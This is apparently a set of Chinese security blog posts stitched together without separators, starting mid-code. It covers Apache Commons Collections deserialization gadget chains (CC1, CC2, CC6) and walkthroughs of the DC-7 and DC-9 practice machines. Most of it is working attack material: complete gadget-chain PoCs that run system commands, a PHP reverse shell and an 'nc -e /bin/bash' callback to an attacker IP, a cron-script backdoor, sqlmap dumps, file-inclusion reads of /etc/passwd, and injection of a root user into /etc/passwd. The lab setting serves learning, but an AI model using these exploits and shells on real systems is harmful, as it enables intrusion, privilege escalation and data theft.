declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance();
Method exec = aClass.getMethod(cm, String.class);
Process process = (Process) exec.invoke(o,command);
InputStream inputStream = process.getInputStream(); //获取输出的数据
String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
System.out.println(ipconfig);

}
}

前言

CC2这条链在后面几条链中还会用到,详细的写一下

利用链

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链1分析

跟着利用链,首先看看PriorityQueue.readObject()

图片

这里的queue[i]是从readObject得到的,再看看writeObject

图片

writeObject中依次将queue[i]进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]赋值,就实现了对queue[i]的控制。

最后调用了heapify方法,跟进:

图片

i>=0时进入for循环,而i=(size >>> 1) -1将size进行了右移操作,所以size>1才能进入循环。

再跟进siftDown方法

图片

x就是queue[i],跟进siftDownUsingComparator方法:

图片

重点在comparator.compare(x, (E) c)

跟进可以看到Comparator是一个接口,compare是它的抽象方法;

图片

CC2利用链中TransformingComparator类实现了compare方法

图片

该方法中调用了this.transformer.transform()方法,看到这里,就有点熟悉了,this.transformer又是我们可控的,后面的理解和CC1差不多了

POC1分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

queue.add(1);
queue.add(2);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

通过反射获取Runtime对象;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;

将transformerChain传入TransformingComparator,从而调用transformer方法;

new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。

1
2
3
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。

1
2
queue.add(1);
queue.add(2);

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

图片

继续跟,跟进queue.add(2),调用了offer方法;

图片

跟进offer方法,进入else分支,调用了siftUp方法;

图片

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

图片

继续跟,来到重点代码

图片

跟进,这里会执行两次命令

图片

但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。

那么如何让return不为0呢。

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable方法,即comparator参数为null,修改代码,不传入comparator参数

1
PriorityQueue queue = new PriorityQueue(1);

再调试看看;
这下comparator参数就为null;

图片

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

图片

这样就只是单纯给queue[1]赋值,并不会调用compare方法

图片

返回后就执行序列化代码,但是并没有执行命令,还要改进;

代码4

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数;

1
2
3
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法时就会进入siftDownUsingComparator方法,调用compare方法,从而执行命令。
图片

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Javassit补充

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。

能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
  • CtClass*

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
  • 示例代码*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.*;

public class javassit_test {

public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}

public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}

新生成的类是这样子的,其中有一块static代码;
图片

当该类被实例化的时候,就会执行static里面的语句;

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

先给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

1
2
3
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");

代码2
实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

代码3
这里就要用到javassit的知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块
代码4

使用TemplatesImpl的空参构造方法实例化一个对象;

再通过反射对个字段进行赋值,为什么要这样赋值下面再说;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

代码6
通过反射给queue的comparator参数赋值;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
图片

跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象

图片

到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的transformer

图片

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

图片

接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()

跟踪该方法;

图片

继续跟踪getTransletInstance方法;

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;

这就是代码4中赋值的原因;

图片

跟进defineTransletClasses方法;

图片

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是代码3的内容

继续往下

通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类

图片

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代码3中要设置AbstractTranslet类为新建类的父类;

_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象

在后续Java官方的更新中sun.reflect.annotation.AnnotationInvocationHandler#readObject其中不再使用Lazymap,导致cc1的链子在8u71版本后无法使用。所以要找一条能在Java更高版本使用的链子。

P神版cc6利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

p神的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

在cc1是触发LazyMap.get()方法进行命令执行,cc6是找到其他调用这个方法的地方。

这个类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法

中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L;
 private final Map map;
 private final Object key;
 public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key;
 }
 public Object getKey() {
 return this.key;
 }
 public Object getValue() {
 return this.map.get(this.key);
 }

 public int hashCode() {
 Object value = this.getValue();
 return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
 }
}

所以这里要去寻找在哪调用了hashCode(),在java.util.HashMap#readObject调用了hashCode
熟悉的地方,跟urldns链的一个样

图片

调用了hash,跟进hash方法

图片

这里hash方法调用了hashCode

这里代码出现了一个fakeTransformers,主要是避免在本地调试时发生了命令执行,调试结束就可以换成我们构造的transformers

这里也会有个问题,运行我们的程序并不会进行命令执行,进行调试发现poc问题出在outerMap.remove(“keykey”);

如果不去掉outerMap.remove(“keykey”)则无法命令执行,主要原因在expMap.put(tme, “valuevalue”);中

expMap是HashMap的实例

图片

HashMap.put中也调用了hash,但我们传入的是fakeTransformers,所以对poc产生了一定的影响。

图片

在反序列化的过程中,触发反序列化最重要的LazyMap.get方法中并没有进入if分支里面,所以没有触发transfrom。所以为了让containsKey(key)判断为flase,用outerMap.remove(“keykey”);移除即可。

触发transfrom之后的过程就跟cc1时一样的

kali 和 DC-7 都为NAT模式 保证在同一个网段下 可以相互连通。记得设置获取MAC地址

信息收集

1
arp-scan -l     #扫描指定网卡下面的全部IP。

图片

通过扫描可以判断DC-7的IP为 192.168.79.132。

1
nmap -p 1-65535 192.168.79.132  #扫描全部端口探测开启的服务。

图片

可以清楚的看到,DC-7开启了 22 和 80端口。
浏览器访问80端口的http服务 http://192.168.79.132
图片

很明显是Drupal的cms框架,搜了下漏洞也不是突破口

图片
后来在这里发现

这个靶场属于git源码泄露。

直接google 搜索 @DC7USER。

图片

图片

里面记录了数据库账号密码 尝试后台登录发现不行。

但是可以登录ssh 有点邪门。

获取后台账号密码

1
2
ls          #发现一个mbox文件 进去看看。
cat mbox

图片

发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。

图片

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。

查看下 /opt/scripts/backups.sh 内容。

图片

可以看到命令是进入 cd /var/www/html/ 后执行drush。

然后去百度看看 drush是干什么呢?

Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。

1
2
3
4
5
6
drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"

图片

这样子就修改成功了。

去后台登录下。

获得www-data的shell

登录后台。

进入到后台管理页面 然后就找写webshell的地方了。

图片

发现Content里面可以编辑文章。

发现Extend里面可以安装新模块 试试可不可以安装php。

1
2
php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

直接安装投入使用即可。

可以看到多了一个PHP解释器。
写入一个php 反弹shell的脚步。

1
2
3
4
5
6
7
8
9
<?php
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>

成功反弹shell。

1
2
3
4
#记得开启nc侦听。
nc -lvvp 5555
python -c "import pty;pty.spawn('/bin/bash')"
#利用python 弄个交互页面

提权

1
2
3
4
5
6
7
#向
/opt/scripts/backups.sh
#内写入反弹shell的脚本
#用bash nc都可以 我这里用的是nc
echo "nc 192.168.79.128 12345 -e /bin/bash" >> /opt/scripts/backups.sh
# 记得kali也要开启侦听
nc -lvvp 12345

图片

要等比较久 要等他计划任务执行 ,然后就获得flag了!

这是DC系列的最后一个靶机,难度中等,思路比较清晰容易上手

记得设置NAT,然后获取到MAC地址

主机发现与端口扫描

因为靶机与kali处于同一个网段先使用nmap发现地址,然后在对地址进行详细的端口探测

1
nmap 192.168.1.0/24

靶机地址为192.168.1.106
对该地址进行端口扫描

1
nmap -sV -p- -A -O  192.168.1.106

开放了22与80端口
图片

进入80端口发现可以输入信息,但是页面上看不到输入的内容判断使用的是POST方式

图片

可以使用burp抓包尝试修改参数

查看是否存在SQL注入

使用 ‘ or 1=1 – 进行尝试

发现存在SQL注入

直接使用sqlmap进行暴库

1
sqlmap -u "http://192.168.1.106/results.php" --dbs --data "search=1" --batch

将两个数据库的内容都爆出来

1
2
3
4
5
6
7
8
第一个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' -C 'Username,Password' --dump --batch
第二个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' -C 'username,password' --dump --batch

图片

获得第一个库的账号密码,通过解密获得密码

账号:admin

密码:transorbital1

第二个库

获取shell

因为开放了22端口尝试进行远程登录

登录被拒绝

换一种思路进行尝试

使用第一个库爆出的账号密码在页面中进行登录

看看是否能获得一些有用的信息

发现页面最下面显示文件不存在,看看是不是文件包含

图片

1
http://192.168.1.106/welcome.php?file=../../../../../../../etc/passwd

命令可以执行
最终通过爆破发现knockd.conf,通过查找资料发现这个文件是端口敲门服务,用于将服务隐藏,需要将它开放的端口进行逐个敲门才能够开启ssh远程连接端口

1
http://192.168.1.106/welcome.php?file=../../../../../../../etc/knockd.conf

图片

使用nc逐一敲击三个端口

再次扫描端口之后发现22端口已被打开

图片

连接ssh远程端口需要密码

我们可以使用之前爬取数据库获得的账号与密码生成两个字典

使用hydra进行爆破

图片

因为这是复现,这里直接进入有敏感信息的账号

账号:janitor

密码:Ilovepeepee

登录成功后,ls -al 查看所有文件

发现.secrets-for-putin,这是一个储存密码的文件

图片

将获取的密码写入之前的字典重新进行爆破

账号:fredf

密码:B4-Tru3-001

图片

提权

sudo -l查看是否有可利用信息

进入/opt/devstuff/目录下发现test.py

查看test.py内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。

这段代码的意思是将输入的第一个文件名的内容,增加到第二个输入的文件名内容里面去

我们可以构造一个root权限的文件,并将这个文件写入到/etc/passwd文件中

passwd格式:

用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器

首先进入/tmp目录下,因为在这个目录下我们有写权限

第一次尝试失败,因为设置密码时设置的密码为空在提权时直接身份验证失败

使用openssl生成一个新用户和新密码

1
2
3
openssl passwd -1 -salt 123 123  用户:123 密码:123 salt是撒盐加密
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 123 把123用户赋予root权限,写到文件123中
sudo /opt/devstuff/dist/test/test /tmp/123 /etc/passwd 调用命令将123文件写入/etc/passwd

切换用户 获得flag
图片

java日你妈

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()Runtime.exec()

动态代理

CC1中运用到了这部分知识,简单做下介绍

举一个简单的例子,供货商发货给超市,我们去超市买东西。

此时超市就相当于一个代理,我们可以直接去供货商买东西,但一般不这样做。

Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用。

而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用。

当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容

Sample:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};

Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("liming");
}
}

Hello.java

1
2
3
public interface Hello {
void morning(String name);
}

这里首先定义了一个handler,通过其实现对类接口的实现

接着定义了一个代理对象Hello,传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。

此时我调用hello.morning,就会触发handler的invoke方法,并传递三个参数进去,分别为proxy即代理对象,method即调用的方法的Method对象,args即传递的参数。

所有的handler都需要实现InvocationHandler这个接口,并实现其invoke方法来实现对接口的调用

利用链分析

先对后半段链进行分析。在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的

图片

CC1中主要运用的是以下三个实现了这个借口的类

  • InvokerTransformer
    其transform方法实现了通过反射来调用某方法:

图片

  • ConstantTransformer
    其transform方法将输入原封不动的返回:

图片

  • ChainedTransformer
    其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:图片

以上三者结合起来就能实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}

首先看下InvokerTransformer的transform方法

1
2
3
4
5
6
7
8
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

